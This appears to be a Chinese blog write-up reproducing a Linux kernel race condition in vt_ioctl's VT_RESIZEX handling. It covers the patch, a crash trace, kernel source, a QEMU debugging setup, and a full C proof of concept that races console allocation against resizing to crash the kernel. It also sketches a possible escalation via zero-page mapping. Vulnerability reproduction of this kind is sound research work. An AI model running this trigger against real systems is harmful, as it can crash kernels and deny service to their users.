0x00 前言
这个漏洞是由于条件竞争导致use-after-free,影响版本应该在5.6.-rc3之前,至少到5.4.7,条件竞争发生于drivers/tty/vt/vt_ioctl.c:883(linux kernel 5.4.7)
0x01 patch
通过patch可以看出,此漏洞发生的原因在于通过条件竞争绕过了if判断,从而使得在获得锁之后,vc_cons[i].d仍然为NULL,就是说vc_cons[i].d一开始是有值的,当if判断过了之后,或得锁之前,再通过另一个线程,将vc_cons[i].d置NULL,那么,如果你能分配0页的话,就可以精心构造数据,就可以实现任意地址读写,但是不幸的是在linux 2.6.31之前是可以分配0页内存的,你可以通过
sysctl -a|grep vm.mmap_min_addr
来查看你的kernel允许mmap的最低地址,结合 CVE-2019-9213 应该就能绕过0页分配的限制,这个漏洞应该是可利用的,(但是从我目前掌握的情况来看只有root才能触发这个洞,2333)
0x02 如何触发漏洞
由于这个cve没有给出poc,但是给出了crash的时候的状态,可以看出调用路径是通过tty_ioctl()函数调用的vt_ioctl()
general protection fault, probably for non-canonical address 0xdffffc0000000068: 0000 [#1] PREEMPT SMP KASAN
KASAN: null-ptr-deref in range [0x0000000000000340-0x0000000000000347]
CPU: 1 PID: 19462 Comm: syz-executor.5 Not tainted 5.5.0-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
RIP: 0010:vt_ioctl+0x1f96/0x26d0 drivers/tty/vt/vt_ioctl.c:883
Code: 74 41 e8 bd a6 84 fd 48 89 d8 48 c1 e8 03 42 80 3c 28 00 0f 85 e4 04 00 00 48 8b 03 48 8d b8 40 03 00 00 48 89 fa 48 c1 ea 03 <42> 0f b6 14 2a 84 d2 74 09 80 fa 03 0f 8e b1 05 00 00 44 89 b8 40
RSP: 0018:ffffc900086d7bb0 EFLAGS: 00010202
RAX: 0000000000000000 RBX: ffffffff8c34ee88 RCX: ffffc9001415c000
RDX: 0000000000000068 RSI: ffffffff83f0e6e3 RDI: 0000000000000340
RBP: ffffc900086d7cd0 R08: ffff888054ce0100 R09: fffffbfff16a2f6d
R10: ffff888054ce0998 R11: ffff888054ce0100 R12: 000000000000001d
R13: dffffc0000000000 R14: 1ffff920010daf79 R15: 000000000000ff7f
FS: 00007f7d13c12700(0000) GS:ffff8880ae900000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffd477e3c38 CR3: 0000000095d0a000 CR4: 00000000001406e0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
tty_ioctl+0xa37/0x14f0 drivers/tty/tty_io.c:2660
vfs_ioctl fs/ioctl.c:47 [inline]
ksys_ioctl+0x123/0x180 fs/ioctl.c:763
__do_sys_ioctl fs/ioctl.c:772 [inline]
__se_sys_ioctl fs/ioctl.c:770 [inline]
__x64_sys_ioctl+0x73/0xb0 fs/ioctl.c:770
do_syscall_64+0xfa/0x790 arch/x86/entry/common.c:294
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x45b399
Code: ad b6 fb ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 0f 83 7b b6 fb ff c3 66 2e 0f 1f 84 00 00 00 00
RSP: 002b:00007f7d13c11c78 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f7d13c126d4 RCX: 000000000045b399
RDX: 0000000020000080 RSI: 000000000000560a RDI: 0000000000000003
RBP: 000000000075bf20 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00000000ffffffff
R13: 0000000000000666 R14: 00000000004c7f04 R15: 000000000075bf2c
Modules linked in:
---[ end trace 80970faf7a67eb77 ]---
RIP: 0010:vt_ioctl+0x1f96/0x26d0 drivers/tty/vt/vt_ioctl.c:883
Code: 74 41 e8 bd a6 84 fd 48 89 d8 48 c1 e8 03 42 80 3c 28 00 0f 85 e4 04 00 00 48 8b 03 48 8d b8 40 03 00 00 48 89 fa 48 c1 ea 03 <42> 0f b6 14 2a 84 d2 74 09 80 fa 03 0f 8e b1 05 00 00 44 89 b8 40
RSP: 0018:ffffc900086d7bb0 EFLAGS: 00010202
RAX: 0000000000000000 RBX: ffffffff8c34ee88 RCX: ffffc9001415c000
RDX: 0000000000000068 RSI: ffffffff83f0e6e3 RDI: 0000000000000340
RBP: ffffc900086d7cd0 R08: ffff888054ce0100 R09: fffffbfff16a2f6d
R10: ffff888054ce0998 R11: ffff888054ce0100 R12: 000000000000001d
R13: dffffc0000000000 R14: 1ffff920010daf79 R15: 000000000000ff7f
FS: 00007f7d13c12700(0000) GS:ffff8880ae900000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffd477e3c38 CR3: 0000000095d0a000 CR4: 00000000001406e0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
如果想要实现这样的调用流程就需要 tty->ops->ioctl的值为vt_ioctl()函数的地址。这就需要找到正确的tty设备,然而/dev下并没有vty的设备。那么那个设备才是vty设备呢
0x00 寻找vty设备
我通过grep查找
grep -rn "tty->ops=" .
然而并不能发现什么,一个也没有。。。,之后才发现有一个专门的函数去做这个赋值操作,这个函数为tty_set_operations()
void tty_set_operations(struct tty_driver *driver,
const struct tty_operations *op)
{
driver->ops = op;
};
,然后,这个函数在vty_init()函数中被调用
int __init vty_init(const struct file_operations *console_fops)
{
cdev_init(&vc0_cdev, console_fops);
if (cdev_add(&vc0_cdev, MKDEV(TTY_MAJOR, 0), 1) ||
register_chrdev_region(MKDEV(TTY_MAJOR, 0), 1, "/dev/vc/0") < 0)
panic("Couldn't register /dev/tty0 drivern");
tty0dev = device_create_with_groups(tty_class, NULL,
MKDEV(TTY_MAJOR, 0), NULL,
vt_dev_groups, "tty0");
if (IS_ERR(tty0dev))
tty0dev = NULL;
vcs_init();
console_driver = alloc_tty_driver(MAX_NR_CONSOLES);
if (!console_driver)
panic("Couldn't allocate console drivern");
console_driver->name = "tty";
console_driver->name_base = 1;
console_driver->major = TTY_MAJOR;
console_driver->minor_start = 1;
console_driver->type = TTY_DRIVER_TYPE_CONSOLE;
console_driver->init_termios = tty_std_termios;
if (default_utf8)
console_driver->init_termios.c_iflag |= IUTF8;
console_driver->flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_RESET_TERMIOS;
tty_set_operations(console_driver, &con_ops);
if (tty_register_driver(console_driver))
panic("Couldn't register console drivern");
kbd_init();
console_map_init();
#ifdef CONFIG_MDA_CONSOLE
mda_console_init();
#endif
return 0;
}
然后发现有个panic,说明tty0是个vty设备,就可以调用vt_ioctl,经过调试,ttyx[x为数字],设备类型都为vty,但是问题是ttyx的设备必须得有root权限才能open,open之后,就可以达到 tty->ops->ioctl的值为vt_ioctl()函数的地址的效果
0x01 vt_ioctl()函数
之后,就是分析一下vt_ioctl()函数了,漏洞点是在 VT_RESIZEX ,我们的重点是分析和vc_cons有关的操作,vc_cons是一个全局数组
struct vc vc_cons [MAX_NR_CONSOLES];
#define MAX_NR_CONSOLES 63 /* serial lines start at 64 */
最大是63个,然后关注两个case
case VT_DISALLOCATE:
if (arg > MAX_NR_CONSOLES) {
ret = -ENXIO;
break;
}
if (arg == 0)
vt_disallocate_all();
else
ret = vt_disallocate(--arg);
break;
arg为我们ioctl第三个参数,arg为unsigned long第一个if没有整数溢出,之后判断arg是否为0如果为0,就调用vt_disallocate_all()函数
static void vt_disallocate_all(void)
{
struct vc_data *vc[MAX_NR_CONSOLES];
int i;
console_lock();
for (i = 1; i < MAX_NR_CONSOLES; i++)
if (!VT_BUSY(i))
vc[i] = vc_deallocate(i);
else
vc[i] = NULL;
console_unlock();
for (i = 1; i < MAX_NR_CONSOLES; i++) {
if (vc[i] && i >= MIN_NR_CONSOLES) {
tty_port_destroy(&vc[i]->port);
kfree(vc[i]);
}
}
}
这个函数是包装之后的vcdeallocate(),其作用是把所有空闲的设备释放掉,这个函数在操作vc,console_lock是基于信号量实现的一种锁,这里用的是二元信号量,简单说一下,console_lock维持着一个console_sem的信号量,该信号量的初始值为1,然后当进入代码临界区就会调用console_lock(),如果信号量不为0就将信号量减一,如果信号量为0则堵塞当前线程,然后把当前进程放到堵塞队列里面,当出代码临界区的时候,会调用console_unlock(),将信号量加一,然后调度堵塞队列里面的一个进程
void console_lock(void)
{
might_sleep();
down_console_sem();
if (console_suspended)
return;
console_locked = 1;
console_may_schedule = 1;
}
#define down_console_sem() do {
down(&console_sem);
mutex_acquire(&console_lock_dep_map, 0, 0, _RET_IP_);
} while (0)
static DEFINE_SEMAPHORE(console_sem);
#define DEFINE_SEMAPHORE(name)
struct semaphore name = __SEMAPHORE_INITIALIZER(name, 1)
#define __SEMAPHORE_INITIALIZER(name, n)
{
.lock = __RAW_SPIN_LOCK_UNLOCKED((name).lock),
.count = n,
.wait_list = LIST_HEAD_INIT((name).wait_list),
}
之后就是VT_BUSY()
#define VT_BUSY(i) (VT_IS_IN_USE(i) || i == fg_console || vc_cons[i].d == sel_cons)
#define VT_IS_IN_USE(i) (console_driver->ttys[i] && console_driver->ttys[i]->count)
这个宏,来判断vc_cons[i]是否处于busy状态,之后就是调用vc_deallocate()我们可以看到 vc_cons[currcons].d = NULL
struct vc_data *vc_deallocate(unsigned int currcons)
{
struct vc_data *vc = NULL;
WARN_CONSOLE_UNLOCKED();
if (vc_cons_allocated(currcons)) {
struct vt_notifier_param param;
param.vc = vc = vc_cons[currcons].d;
atomic_notifier_call_chain(&vt_notifier_list, VT_DEALLOCATE, ¶m);
vcs_remove_sysfs(currcons);
visual_deinit(vc);
put_pid(vc->vt_pid);
vc_uniscr_set(vc, NULL);
kfree(vc->vc_screenbuf);
vc_cons[currcons].d = NULL;
}
return vc;
}
如果arg不为0并且在合适的范围里面,则会调用vt_disallocate()函数,vc_deallocate这个函数也是对vc_deallocate()函数的一个包装,和vt_disallocate_all()区别不大,就是从释放全部变成释放指定的索引
static int vt_disallocate(unsigned int vc_num)
{
struct vc_data *vc = NULL;
int ret = 0;
console_lock();
if (VT_BUSY(vc_num))
ret = -EBUSY;
else if (vc_num)
vc = vc_deallocate(vc_num);
console_unlock();
if (vc && vc_num >= MIN_NR_CONSOLES) {
tty_port_destroy(&vc->port);
kfree(vc);
}
return ret;
}
找到了能释放的vc_cons的case,我们还得,找到能够分配vc_cons的case,而VT_ACTIVATE这个case正是我们需要的,(至于怎么找到的VT_ACTIVATE这个case,可以考虑用 grep 正则匹配,然后回溯到vt_ioctl()这个函数,我是手找的。。。。)
case VT_ACTIVATE:
if (!perm)
return -EPERM;
if (arg == 0 || arg > MAX_NR_CONSOLES)
ret = -ENXIO;
else {
arg--;
console_lock();
ret = vc_allocate(arg);
console_unlock();
if (ret)
break;
set_console(arg);
}
break;
这个函数比较关键的就是调用了vc_allocate()函数,大概的逻辑就是如果vc_cons[currcons].d不为NULL就返回,如果为NULL就分配一个新的vc_cons[currcons].d
int vc_allocate(unsigned int currcons) /* return 0 on success */
{
struct vt_notifier_param param;
struct vc_data *vc;
WARN_CONSOLE_UNLOCKED();
if (currcons >= MAX_NR_CONSOLES)
return -ENXIO;
if (vc_cons[currcons].d)
return 0;
/* due to the granularity of kmalloc, we waste some memory here */
/* the alloc is done in two steps, to optimize the common situation
of a 25x80 console (structsize=216, screenbuf_size=4000) */
/* although the numbers above are not valid since long ago, the
point is still up-to-date and the comment still has its value
even if only as a historical artifact. --mj, July 1998 */
param.vc = vc = kzalloc(sizeof(struct vc_data), GFP_KERNEL);
if (!vc)
return -ENOMEM;
vc_cons[currcons].d = vc;
tty_port_init(&vc->port);
INIT_WORK(&vc_cons[currcons].SAK_work, vc_SAK);
visual_init(vc, currcons, 1);
if (!*vc->vc_uni_pagedir_loc)
con_set_default_unimap(vc);
vc->vc_screenbuf = kzalloc(vc->vc_screenbuf_size, GFP_KERNEL);
if (!vc->vc_screenbuf)
goto err_free;
/* If no drivers have overridden us and the user didn't pass a
boot option, default to displaying the cursor */
if (global_cursor_default == -1)
global_cursor_default = 1;
vc_init(vc, vc->vc_rows, vc->vc_cols, 1);
vcs_make_sysfs(currcons);
atomic_notifier_call_chain(&vt_notifier_list, VT_ALLOCATE, ¶m);
return 0;
err_free:
visual_deinit(vc);
kfree(vc);
vc_cons[currcons].d = NULL;
return -ENOMEM;
}
0x02 触发漏洞思路
现在万事具备了,现在就是要考虑怎么去触发条件竞争,我的思路是,开两个进程,一个进程不停的分配vc_cons[currcons].d和释放vc_cons[currcons].d,另一进程不停的去做VT_RESIZEX的调用,从而触发漏洞
0x03 漏洞复现
0x00 内核编译
我选择是5.4.7内核,先下载源码,然后
make menuconfig
在kernel hacking下的compile-time checks and compiler options选中添加符号表,这样的话,调试的时候会舒服很多
又因为我们这个洞是空指针引用,导致uaf,所以并不会panic,所以,我们还得添加一些内存检测的机制kasan,还是在kernel hacking里面的memory debugging,能选的全选上
0x01 镜像
主要这个可以用ssh,就不能每写一次poc就得打包一次,还可以在镜像里面直接编译,比较方便,但是有一些坑。。。。
0x02 qemu启动命令
alias kernel-5-4-7="qemu-system-x86_64
-kernel /home/pwnht/linux-5.4-rc7/arch/x86/boot/bzImage
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr"
-hdb /home/pwnht/image/stretch.img
-net user,hostfwd=tcp::10021-:22 -net nic
-enable-kvm
-nographic
-m 2G
-smp 2
-s
-pidfile vm.pid
2>&1 | tee vm.log "
我把qemu启动命令映射了一个比较短的命令,这样比较方便
0x03 gdb调试
自己调试的时候,建议关闭kaslr,这样的话,gdb可以正确的识别kernel的基地址,然后源码也能容易的加载上,我其实是想用gdb多线程调试,我自己手动调度线程,来实现百分之百成功的条件竞争,奈何linux kernel有自己的时间调度函数,你刚到断点,就被时间回调函数回调了,然后不知道走到哪里了,所以只能运行poc看结果
0x04 运行poc
运行大概一秒钟就会 Segmentation fault
这个时候输入dmesg查看log
发现复现成功
0x04 完整poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define VT_DISALLOCATE 0x5608
#define VT_RESIZEX 0x560A
#define VT_ACTIVATE 0x5606
#define EBUSY 1
struct vt_consize {
unsigned short v_rows; /* number of rows */
unsigned short v_cols; /* number of columns */
unsigned short v_vlin; /* number of pixel rows on screen */
unsigned short v_clin; /* number of pixel rows per character */
unsigned short v_vcol; /* number of pixel columns on screen */
unsigned short v_ccol; /* number of pixel columns per character */
};
int main(){
int fd=open("/dev/tty10",O_RDONLY);
if (fd < 0) {
perror("open");
exit(-2);
}
int pid=fork();
if(pid<0){
perror("error fork");
}else if(pid==0){
while(1){
for(int i=10;i<20;i++){
ioctl(fd,VT_ACTIVATE,i);
}
for(int i=10;i<20;i++){
ioctl(fd,VT_DISALLOCATE,i);
}
printf("main thread finishn");
}
}else{
struct vt_consize v;
v.v_vcol=v.v_ccol=v.v_clin=v.v_vlin=1;
v.v_rows=v.v_vlin/v.v_clin;
v.v_cols=v.v_vcol/v.v_ccol;
while(1){
ioctl(fd,VT_RESIZEX,&v);
printf("child finishn");
}
}
return 0;
}
0x05 总结
这个漏洞实际上没有什么攻击性,也不是特别难,但是,我想通过我的复现过程,来给大家复现其他漏洞的一些复现思路
0x06 参考链接
https://github.com/torvalds/linux/commit/6cd1ed50efd88261298577cd92a14f2768eddeeb

评论